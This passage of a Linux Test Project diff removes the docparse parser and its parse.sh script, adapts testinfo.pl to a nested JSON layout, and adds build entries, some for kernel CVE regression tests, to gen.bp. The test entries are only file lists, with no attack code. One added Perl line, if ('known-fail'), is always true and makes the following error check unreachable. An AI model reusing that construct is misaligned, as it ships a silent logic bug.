-static void maybe_doc_comment(FILE *f, struct data_node *doc)
-{
-	int c, i;
-
-	for (i = 0; doc_prefix[i]; i++) {
-		c = getc(f);
-
-		if (c == doc_prefix[i])
-			continue;
-
-		if (c == '*')
-			ungetc(c, f);
-
-		multiline_comment(f, NULL);
-		return;
-	}
-
-	multiline_comment(f, doc);
-}
-
-static void maybe_comment(FILE *f, struct data_node *doc)
-{
-	int c = getc(f);
-
-	switch (c) {
-	case '/':
-		oneline_comment(f);
-	break;
-	case '*':
-		maybe_doc_comment(f, doc);
-	break;
-	default:
-		ungetc(c, f);
-	break;
-	}
-}
-
-const char *next_token(FILE *f, struct data_node *doc)
-{
-	size_t i = 0;
-	static char buf[4096];
-	int c;
-	int in_str = 0;
-
-	for (;;) {
-		c = fgetc(f);
-
-		if (c == EOF)
-			goto exit;
-
-		if (in_str) {
-			if (c == '"') {
-				if (i == 0 || buf[i-1] != '\\')
-					goto exit;
-			}
-
-			buf[i++] = c;
-			continue;
-		}
-
-		switch (c) {
-		case '{':
-		case '}':
-		case ';':
-		case '(':
-		case ')':
-		case '=':
-		case ',':
-		case '[':
-		case ']':
-			if (i) {
-				ungetc(c, f);
-				goto exit;
-			}
-
-			buf[i++] = c;
-			goto exit;
-		case '0' ... '9':
-		case 'a' ... 'z':
-		case 'A' ... 'Z':
-		case '.':
-		case '_':
-		case '-':
-			buf[i++] = c;
-		break;
-		case '/':
-			maybe_comment(f, doc);
-		break;
-		case '"':
-			in_str = 1;
-		break;
-		case ' ':
-		case '\n':
-		case '\t':
-			if (i)
-				goto exit;
-		break;
-		}
-	}
-
-exit:
-	if (i == 0 && !in_str)
-		return NULL;
-
-	buf[i] = 0;
-	return buf;
-}
-
-static int parse_array(FILE *f, struct data_node *node)
-{
-	const char *token;
-
-	for (;;) {
-		if (!(token = next_token(f, NULL)))
-			return 1;
-
-		if (!strcmp(token, "{")) {
-			struct data_node *ret = data_node_array();
-			parse_array(f, ret);
-
-			if (data_node_array_len(ret))
-				data_node_array_add(node, ret);
-			else
-				data_node_free(ret);
-
-			continue;
-		}
-
-		if (!strcmp(token, "}"))
-			return 0;
-
-		if (!strcmp(token, ","))
-			continue;
-
-		if (!strcmp(token, "NULL"))
-			continue;
-
-		struct data_node *str = data_node_string(token);
-
-		data_node_array_add(node, str);
-	}
-
-	return 0;
-}
-
-static int parse_test_struct(FILE *f, struct data_node *doc, struct data_node *node)
-{
-	const char *token;
-	char *id = NULL;
-	int state = 0;
-	struct data_node *ret;
-
-	for (;;) {
-		if (!(token = next_token(f, doc)))
-			return 1;
-
-		if (!strcmp(token, "}"))
-			return 0;
-
-		switch (state) {
-		case 0:
-			id = strdup(token);
-			state = 1;
-			continue;
-		case 1:
-			if (!strcmp(token, "="))
-				state = 2;
-			else
-				WARN("Expected '='");
-			continue;
-		case 2:
-			if (!strcmp(token, "(")) {
-				state = 3;
-				continue;
-			}
-		break;
-		case 3:
-			if (!strcmp(token, ")"))
-				state = 2;
-			continue;
-
-		case 4:
-			if (!strcmp(token, ","))
-				state = 0;
-			continue;
-		}
-
-		if (!strcmp(token, "{")) {
-			ret = data_node_array();
-			parse_array(f, ret);
-		} else {
-			ret = data_node_string(token);
-		}
-
-		const char *key = id;
-		if (key[0] == '.')
-			key++;
-
-		data_node_hash_add(node, key, ret);
-		free(id);
-		state = 4;
-	}
-}
-
-static const char *tokens[] = {
-	"static",
-	"struct",
-	"tst_test",
-	"test",
-	"=",
-	"{",
-};
-
-static struct data_node *parse_file(const char *fname)
-{
-	int state = 0, found = 0;
-	const char *token;
-
-	if (access(fname, F_OK)) {
-		fprintf(stderr, "file %s does not exist\n", fname);
-		return NULL;
-	}
-
-	FILE *f = fopen(fname, "r");
-
-	struct data_node *res = data_node_hash();
-	struct data_node *doc = data_node_array();
-
-	while ((token = next_token(f, doc))) {
-		if (state < 6 && !strcmp(tokens[state], token))
-			state++;
-		else
-			state = 0;
-
-		if (state < 6)
-			continue;
-
-		found = 1;
-		parse_test_struct(f, doc, res);
-	}
-
-
-	if (data_node_array_len(doc)) {
-		data_node_hash_add(res, "doc", doc);
-		found = 1;
-	} else {
-		data_node_free(doc);
-	}
-
-	fclose(f);
-
-	if (!found) {
-		data_node_free(res);
-		return NULL;
-	}
-
-	return res;
-}
-
-static const char *filter_out[] = {
-	"bufs",
-	"cleanup",
-	"mntpoint",
-	"setup",
-	"tcnt",
-	"test",
-	"test_all",
-	NULL
-};
-
-static struct implies {
-	const char *flag;
-	const char **implies;
-} implies[] = {
-	{"mount_device", (const char *[]) {"format_device", "needs_device",
-		"needs_tmpdir", NULL}},
-	{"format_device", (const char *[]) {"needs_device", "needs_tmpdir",
-		NULL}},
-	{"all_filesystems", (const char *[]) {"needs_device", "needs_tmpdir",
-		NULL}},
-	{"needs_device", (const char *[]) {"needs_tmpdir", NULL}},
-	{"needs_checkpoints", (const char *[]) {"needs_tmpdir", NULL}},
-	{"resource_files", (const char *[]) {"needs_tmpdir", NULL}},
-	{NULL, (const char *[]) {NULL}}
-};
-
-const char *strip_name(char *path)
-{
-	char *name = basename(path);
-	size_t len = strlen(name);
-
-	if (len > 2 && name[len-1] == 'c' && name[len-2] == '.')
-		name[len-2] = '\0';
-
-	return name;
-}
-
-int main(int argc, char *argv[])
-{
-	unsigned int i, j;
-	struct data_node *res;
-
-	if (argc != 2) {
-		fprintf(stderr, "Usage: docparse filename.c\n");
-		return 1;
-	}
-
-	res = parse_file(argv[1]);
-	if (!res)
-		return 0;
-
-	/* Filter out useless data */
-	for (i = 0; filter_out[i]; i++)
-		data_node_hash_del(res, filter_out[i]);
-
-	/* Normalize the result */
-	for (i = 0; implies[i].flag; i++) {
-		if (data_node_hash_get(res, implies[i].flag)) {
-			for (j = 0; implies[i].implies[j]; j++) {
-				if (data_node_hash_get(res, implies[i].implies[j]))
-					fprintf(stderr, "%s: useless tag: %s\n",
-						argv[1], implies[i].implies[j]);
-			}
-		}
-	}
-
-	for (i = 0; implies[i].flag; i++) {
-		if (data_node_hash_get(res, implies[i].flag)) {
-			for (j = 0; implies[i].implies[j]; j++) {
-				if (!data_node_hash_get(res, implies[i].implies[j]))
-					data_node_hash_add(res, implies[i].implies[j],
-							   data_node_string("1"));
-			}
-		}
-	}
-
-	data_node_hash_add(res, "fname", data_node_string(argv[1]));
-	printf("  \"%s\": ", strip_name(argv[1]));
-	data_to_json(res, stdout, 2);
-	data_node_free(res);
-
-	return 0;
-}
diff --git a/docparse/parse.sh b/docparse/parse.sh
deleted file mode 100755
index 79011bc..0000000
--- a/docparse/parse.sh
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Cyril Hrubis <chrubis@suse.cz>
-# Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
-set -e
-
-top_builddir=$PWD/..
-top_srcdir="$(cd $(dirname $0)/..; pwd)"
-
-cd $top_srcdir
-
-version=$(cat $top_srcdir/VERSION)
-if [ -d .git ]; then
-	version=$(git describe 2>/dev/null) || version=$(cat $top_srcdir/VERSION).GIT-UNKNOWN
-fi
-
-echo '{'
-echo ' "testsuite": "Linux Test Project",'
-echo ' "testsuite_short": "LTP",'
-echo ' "url": "https://github.com/linux-test-project/ltp/",'
-echo ' "scm_url_base": "https://github.com/linux-test-project/ltp/tree/master/",'
-echo ' "timeout": 300,'
-echo " \"version\": \"$version\","
-echo ' "tests": {'
-
-first=1
-
-for test in `find testcases/ -name '*.c'`; do
-	a=$($top_builddir/docparse/docparse "$test")
-	if [ -n "$a" ]; then
-		if [ -z "$first" ]; then
-			echo ','
-		fi
-		first=
-		cat <<EOF
-$a
-EOF
-	fi
-done
-
-echo
-echo ' }'
-echo '}'
diff --git a/docparse/testinfo.pl b/docparse/testinfo.pl
index 31148e3..67e435d 100755
--- a/docparse/testinfo.pl
+++ b/docparse/testinfo.pl
@@ -74,6 +74,10 @@
 		return eval("main::$key") . $value;
 	}
 
+	if ('known-fail') {
+		return '';
+	}
+
 	die("unknown constant '$key' for tag $tag, define it!");
 }
 
@@ -96,8 +100,8 @@
 {
 	my ($url, $text) = @_;
 
-	# escape ]
-	$text =~ s/([]])/\\$1/g;
+	# escape: ] |
+	$text =~ s/([]|])/\\$1/g;
 
 	return "$url\[$text\]";
 }
@@ -164,9 +168,9 @@
 	my $json = shift;
 	my $content;
 
-	$content .= print_defined("URL", $json->{'url'});
-	$content .= print_defined("Version", $json->{'version'});
-	$content .= print_defined("Default timeout", $json->{'timeout'}, "seconds");
+	$content .= print_defined("URL", $json->{'testsuite'}->{'url'});
+	$content .= print_defined("Version", $json->{'testsuite'}->{'version'});
+	$content .= print_defined("Default timeout", $json->{'defaults'}->{'timeout'}, "seconds");
 
 	return $content;
 }
@@ -360,10 +364,10 @@
 		$content .= h3($name);
 		$content .= $letters;
 
-		if (defined($json->{'scm_url_base'}) &&
+		if (defined($json->{'testsuite'}->{'scm_url_base'}) &&
 			defined($json->{'tests'}{$name}{fname})) {
 			$content .= paragraph(html_a(tag_url("fname", $json->{'tests'}{$name}{fname},
-					$json->{'scm_url_base'}), "source"));
+					$json->{'testsuite'}->{'scm_url_base'}), "source"));
 		}
 
 		if (defined $json->{'tests'}{$name}{doc}) {
@@ -386,7 +390,7 @@
 				$content .= paragraph("Test timeout is $json->{'tests'}{$name}{timeout} seconds");
 			}
 		} else {
-			$content .= paragraph("Test timeout defaults to $json->{'timeout'} seconds");
+			$content .= paragraph("Test timeout defaults to $json->{'defaults'}->{'timeout'} seconds");
 		}
 
 		my $tmp2 = undef;
@@ -428,10 +432,11 @@
 
 		for my $tag (@sorted_tags) {
 			if (!defined($tmp2)) {
-				$content .= table . "|Tags|Info\n"
+				$content .= table . "|Tag|Info\n"
 			}
 			my $k = @$tag[0];
 			my $v = @$tag[1];
+			my $url;
 
 			if (defined($$git_url{$k})) {
 				$commits{$k} = () unless (defined($commits{$k}));
@@ -443,7 +448,17 @@
 				$v .= ' ("' . $commits{$k}{$v} . '")';
 			}
 
-			$v = html_a(tag_url($k, @$tag[1]), $v);
+			$url = tag_url($k, @$tag[1]);
+			if ($url) {
+				$v = html_a($url, $v);
+			}
+
+			# tag value value can be split into more lines if too long
+			# i.e. URL in known-fail
+			for (@$tag[2 .. $#$tag]) {
+				$v .= " $_";
+			}
+
 			$content .= "\n|" . reference($k) . "\n|$v\n";
 			$tmp2 = 1;
 		}
@@ -463,7 +478,7 @@
 my $config = [
     {
 		file => "about.txt",
-		title => h2("About $json->{'testsuite'}"),
+		title => h2("About $json->{'testsuite'}->{'name'}"),
 		content => \&content_about,
     },
     {
@@ -495,7 +510,7 @@
 	for my $c (@{$config}) {
 		$content .= "include::$c->{'file'}\[\]\n";
 	}
-	print_asciidoc_page($fh, $json, h1($json->{'testsuite_short'} . " test catalog"), $content);
+	print_asciidoc_page($fh, $json, h1($json->{'testsuite'}->{'short_name'} . " test catalog"), $content);
 }
 
 for my $c (@{$config}) {
diff --git a/gen.bp b/gen.bp
index 22a5db8..4a018ed 100644
--- a/gen.bp
+++ b/gen.bp
@@ -96,6 +96,7 @@
         "lib/tlibio.c",
         "lib/tst_af_alg.c",
         "lib/tst_ansi_color.c",
+        "lib/tst_arch.c",
         "lib/tst_assert.c",
         "lib/tst_bool_expr.c",
         "lib/tst_buffers.c",
@@ -150,9 +151,11 @@
         "lib/tst_sys_conf.c",
         "lib/tst_taint.c",
         "lib/tst_test.c",
+        "lib/tst_thread_state.c",
         "lib/tst_timer.c",
         "lib/tst_timer_test.c",
         "lib/tst_tmpdir.c",
+        "lib/tst_uid.c",
         "lib/tst_virt.c",
         "lib/tst_wallclock.c",
     ],
@@ -791,6 +794,32 @@
 }
 
 cc_test {
+    name: "ltp_bpf_prog06",
+    stem: "bpf_prog06",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/bpf/bpf_common.c",
+        "testcases/kernel/syscalls/bpf/bpf_prog06.c",
+    ],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_bpf_prog07",
+    stem: "bpf_prog07",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/bpf/bpf_common.c",
+        "testcases/kernel/syscalls/bpf/bpf_prog07.c",
+    ],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_brk01",
     stem: "brk01",
     defaults: ["ltp_test_defaults"],
@@ -818,6 +847,15 @@
 }
 
 cc_test {
+    name: "ltp_can_bcm01",
+    stem: "can_bcm01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/can/cve/can_bcm01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_can_filter",
     stem: "can_filter",
     defaults: ["ltp_test_defaults"],
@@ -927,6 +965,27 @@
 }
 
 cc_test {
+    name: "ltp_cfs_bandwidth01",
+    stem: "cfs_bandwidth01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/cfs-scheduler/cfs_bandwidth01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_cgroup_core01",
+    stem: "cgroup_core01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cgroup/cgroup_core01.c"],
+    local_include_dirs: [
+        "include/old",
+        "testcases/kernel/controllers/libcontrollers",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_cgroup_fj_proc",
     stem: "cgroup_fj_proc",
     defaults: ["ltp_test_defaults"],
@@ -1039,15 +1098,6 @@
 }
 
 cc_test {
-    name: "ltp_chmod02",
-    stem: "chmod02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chmod/chmod02.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_chmod03",
     stem: "chmod03",
     defaults: ["ltp_test_defaults"],
@@ -1057,15 +1107,6 @@
 }
 
 cc_test {
-    name: "ltp_chmod04",
-    stem: "chmod04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chmod/chmod04.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_chmod05",
     stem: "chmod05",
     defaults: ["ltp_test_defaults"],
@@ -1913,6 +1954,15 @@
 }
 
 cc_test {
+    name: "ltp_creat09",
+    stem: "creat09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/creat/creat09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_create-files",
     stem: "create-files",
     defaults: ["ltp_test_defaults"],
@@ -2102,6 +2152,16 @@
 }
 
 cc_test {
+    name: "ltp_dio_read",
+    stem: "dio_read",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dio_read.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_dio_sparse",
     stem: "dio_sparse",
     defaults: ["ltp_test_defaults"],
@@ -2230,33 +2290,12 @@
 }
 
 cc_test {
-    name: "ltp_disktest",
-    stem: "disktest",
+    name: "ltp_dirtypipe",
+    stem: "dirtypipe",
     defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/io/disktest/Getopt.c",
-        "testcases/kernel/io/disktest/childmain.c",
-        "testcases/kernel/io/disktest/dump.c",
-        "testcases/kernel/io/disktest/globals.c",
-        "testcases/kernel/io/disktest/io.c",
-        "testcases/kernel/io/disktest/main.c",
-        "testcases/kernel/io/disktest/parse.c",
-        "testcases/kernel/io/disktest/sfunc.c",
-        "testcases/kernel/io/disktest/signals.c",
-        "testcases/kernel/io/disktest/stats.c",
-        "testcases/kernel/io/disktest/threading.c",
-        "testcases/kernel/io/disktest/timer.c",
-        "testcases/kernel/io/disktest/usage.c",
-    ],
-    cflags: [
-        "-DLINUX",
-        "-D_FILE_OFFSET_BITS=64",
-        "-D_GNU_SOURCE",
-        "-D_LARGEFILE64_SOURCE",
-        "-D_LARGE_FILES",
-        "-D_THREAD_SAFE",
-    ],
+    srcs: ["testcases/kernel/security/dirtypipe/dirtypipe.c"],
     local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -2384,6 +2423,24 @@
 }
 
 cc_test {
+    name: "ltp_dup206",
+    stem: "dup206",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup2/dup206.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup207",
+    stem: "dup207",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup2/dup207.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_dup3_01",
     stem: "dup3_01",
     defaults: ["ltp_test_defaults"],
@@ -2498,6 +2555,24 @@
 }
 
 cc_test {
+    name: "ltp_epoll_create01",
+    stem: "epoll_create01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_create/epoll_create01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_create02",
+    stem: "epoll_create02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_create/epoll_create02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_epoll_create1_01",
     stem: "epoll_create1_01",
     defaults: ["ltp_test_defaults"],
@@ -2507,6 +2582,15 @@
 }
 
 cc_test {
+    name: "ltp_epoll_create1_02",
+    stem: "epoll_create1_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_create1/epoll_create1_02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_epoll_ctl01",
     stem: "epoll_ctl01",
     defaults: ["ltp_test_defaults"],
@@ -2525,6 +2609,33 @@
 }
 
 cc_test {
+    name: "ltp_epoll_ctl03",
+    stem: "epoll_ctl03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_ctl/epoll_ctl03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_ctl04",
+    stem: "epoll_ctl04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_ctl/epoll_ctl04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_ctl05",
+    stem: "epoll_ctl05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_ctl/epoll_ctl05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_epoll_pwait01",
     stem: "epoll_pwait01",
     defaults: ["ltp_test_defaults"],
@@ -2534,6 +2645,42 @@
 }
 
 cc_test {
+    name: "ltp_epoll_pwait02",
+    stem: "epoll_pwait02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_pwait/epoll_pwait02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_pwait03",
+    stem: "epoll_pwait03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_pwait/epoll_pwait03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_pwait04",
+    stem: "epoll_pwait04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_pwait/epoll_pwait04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_pwait05",
+    stem: "epoll_pwait05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_pwait/epoll_pwait05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_epoll_wait01",
     stem: "epoll_wait01",
     defaults: ["ltp_test_defaults"],
@@ -2561,6 +2708,15 @@
 }
 
 cc_test {
+    name: "ltp_epoll_wait04",
+    stem: "epoll_wait04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_wait/epoll_wait04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_event_generator",
     stem: "event_generator",
     defaults: ["ltp_test_defaults"],
@@ -2750,6 +2906,24 @@
 }
 
 cc_test {
+    name: "ltp_execve06",
+    stem: "execve06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execve06_child",
+    stem: "execve06_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve06_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_execve_child",
     stem: "execve_child",
     defaults: ["ltp_test_defaults"],
@@ -3107,6 +3281,42 @@
 }
 
 cc_test {
+    name: "ltp_fanotify20",
+    stem: "fanotify20",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify20.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify21",
+    stem: "fanotify21",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify21.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify22",
+    stem: "fanotify22",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify22.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify23",
+    stem: "fanotify23",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify23.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_fanotify_child",
     stem: "fanotify_child",
     defaults: ["ltp_test_defaults"],
@@ -4585,6 +4795,38 @@
 }
 
 cc_test {
+    name: "ltp_fcntl39",
+    stem: "fcntl39",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl39.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "include/old",
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl39_64",
+    stem: "fcntl39_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl39.c"],
+    cflags: [
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_FILE_OFFSET_BITS=64",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "include/old",
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_fdatasync01",
     stem: "fdatasync01",
     defaults: ["ltp_test_defaults"],
@@ -5520,6 +5762,33 @@
 }
 
 cc_test {
+    name: "ltp_futex_waitv01",
+    stem: "futex_waitv01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_waitv01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_waitv02",
+    stem: "futex_waitv02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_waitv02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_waitv03",
+    stem: "futex_waitv03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_waitv03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_futex_wake01",
     stem: "futex_wake01",
     defaults: ["ltp_test_defaults"],
@@ -6752,6 +7021,7 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/sched/cfs-scheduler/hackbench.c"],
     local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -6864,6 +7134,16 @@
 }
 
 cc_test {
+    name: "ltp_icmp_rate_limit01",
+    stem: "icmp_rate_limit01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/cve/icmp_rate_limit01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_ima_boot_aggregate",
     stem: "ima_boot_aggregate",
     defaults: ["ltp_test_defaults"],
@@ -7042,6 +7322,24 @@
 }
 
 cc_test {
+    name: "ltp_inotify11",
+    stem: "inotify11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_inotify12",
+    stem: "inotify12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/inotify/inotify12.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_inotify_init1_01",
     stem: "inotify_init1_01",
     defaults: ["ltp_test_defaults"],
@@ -7129,6 +7427,24 @@
 }
 
 cc_test {
+    name: "ltp_io_cancel02",
+    stem: "io_cancel02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_cancel/io_cancel02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_io_control01",
+    stem: "io_control01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/io/io_control01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_io_destroy01",
     stem: "io_destroy01",
     defaults: ["ltp_test_defaults"],
@@ -7138,6 +7454,15 @@
 }
 
 cc_test {
+    name: "ltp_io_destroy02",
+    stem: "io_destroy02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_destroy/io_destroy02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_io_getevents01",
     stem: "io_getevents01",
     defaults: ["ltp_test_defaults"],
@@ -7147,6 +7472,15 @@
 }
 
 cc_test {
+    name: "ltp_io_getevents02",
+    stem: "io_getevents02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_getevents/io_getevents02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_io_pgetevents01",
     stem: "io_pgetevents01",
     defaults: ["ltp_test_defaults"],
@@ -7174,6 +7508,15 @@
 }
 
 cc_test {
+    name: "ltp_io_setup02",
+    stem: "io_setup02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_setup/io_setup02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_io_submit01",
     stem: "io_submit01",
     defaults: ["ltp_test_defaults"],
@@ -7183,6 +7526,24 @@
 }
 
 cc_test {
+    name: "ltp_io_submit02",
+    stem: "io_submit02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_submit/io_submit02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_io_submit03",
+    stem: "io_submit03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/io_submit/io_submit03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_io_uring01",
     stem: "io_uring01",
     defaults: ["ltp_test_defaults"],
@@ -7201,21 +7562,6 @@
 }
 
 cc_test {
-    name: "ltp_iobw",
-    stem: "iobw",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/io-throttle/iobw.c"],
-    local_include_dirs: [
-        "include/old",
-        "testcases/kernel/controllers/libcontrollers",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
     name: "ltp_ioctl01",
     stem: "ioctl01",
